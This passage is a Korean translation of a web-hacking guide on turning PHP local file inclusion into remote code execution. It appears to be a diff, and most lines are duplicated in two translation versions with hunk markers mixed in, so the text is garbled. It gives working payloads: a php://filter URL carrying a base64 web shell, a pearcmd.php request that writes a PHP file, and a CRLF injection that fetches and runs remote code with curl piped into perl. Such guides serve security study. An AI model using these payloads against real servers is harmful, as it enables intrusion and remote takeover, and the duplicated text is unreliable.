[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 "."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters를 통한 방법 (파일 불필요)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 즉, include에 사용할 **임의의 php 코드를 생성할 수 있으며** **파일로 작성할 필요 없이** 가능합니다.
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters to generate arbitrary content**을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 **generate arbitrary php code**를 파일에 **without needing to write** 하지 않고 생성할 수 있다는 뜻입니다.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### segmentation fault를 통한 방법
### Via segmentation fault
파일을 업로드하면 `/tmp`에 임시로 저장됩니다. 같은 요청에서 segmentation fault를 발생시키면 임시 파일이 삭제되지 않고 해당 파일을 검색할 수 있습니다.
**Upload**한 파일이 `/tmp`**temporary**로 저장된 다음, 같은 **request**에서 **segmentation fault**를 유발하면 해당 **temporary file won't be deleted** 상태가 되어 파일을 찾을 수 있습니다.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx 임시 파일 저장을 통한 방법
### Via Nginx temp file storage
Local File Inclusion을 발견했고 Nginx가 PHP 앞단에서 동작 중이라면, 다음 기법으로 RCE를 얻을 수 있습니다:
만약 **Local File Inclusion**을 찾았고 **Nginx**가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
### Via PHP_SESSION_UPLOAD_PROGRESS
세션이 없고 `session.auto_start``Off`인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
세션이 없고 `session.auto_start``Off`인 경우에도 **Local File Inclusion**을 찾았다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 자동으로 **enable the session for you** 합니다. 이를 악용해 RCE를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows에서 임시 파일 업로드를 통한 방법
### Via temp file uploads in Windows
Local File Inclusion을 발견했고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다:
**Local File Inclusion**을 찾았고 서버가 **Windows**에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL args를 통한 방법
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker 이미지에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어 URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 `=`가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
다음은 CRLF vuln을 악용하여 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo()를 통해 (file_uploads = on)
### phpinfo() (file_uploads = on)을 통해
만약 **Local File Inclusion**을 발견했고 phpinfo()가 노출되어 있으며 file_uploads = on이라면 RCE를 얻을 수 있습니다:
만약 **Local File Inclusion**을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:
{{#ref}}
@ -633,7 +633,7 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
만약 **Local File Inclusion**을 발견했고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 **PHP marks**가 있는지 **checking**하고 있다면, 이 **Race Condition**으로 그 검증을 **bypass**해볼 수 있습니다:
만약 **Local File Inclusion**을 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 PHP 마크가 있는지 **검사**한다면, 이 **Race Condition**으로 그 검사를 **우회**해볼 수 있습니다:
{{#ref}}
@ -642,7 +642,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### eternal waiting + bruteforce를 통해
만약 LFI를 악용해 **임시 파일을 upload**할 수 있고 서버의 PHP 실행을 **hang**시키게 만들 수 있다면, 수시간에 걸쳐 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다:
만약 LFI를 악용해 **임시 파일을 업로드**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 **brute force로 파일명**을 시도해 임시 파일을 찾을 수 있습니다:
{{#ref}}
@ -651,13 +651,14 @@ lfi2rce-via-eternal-waiting.md
### Fatal Error로
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. ( 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
**이게 어떻게 유용한지는 모르겠지만 가능성은 있어 보입니다.**\
_설령 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
**이게 어떻게 유용한지는 모르겠지만 가능성은 있니다.**\
_심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 참고자료
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)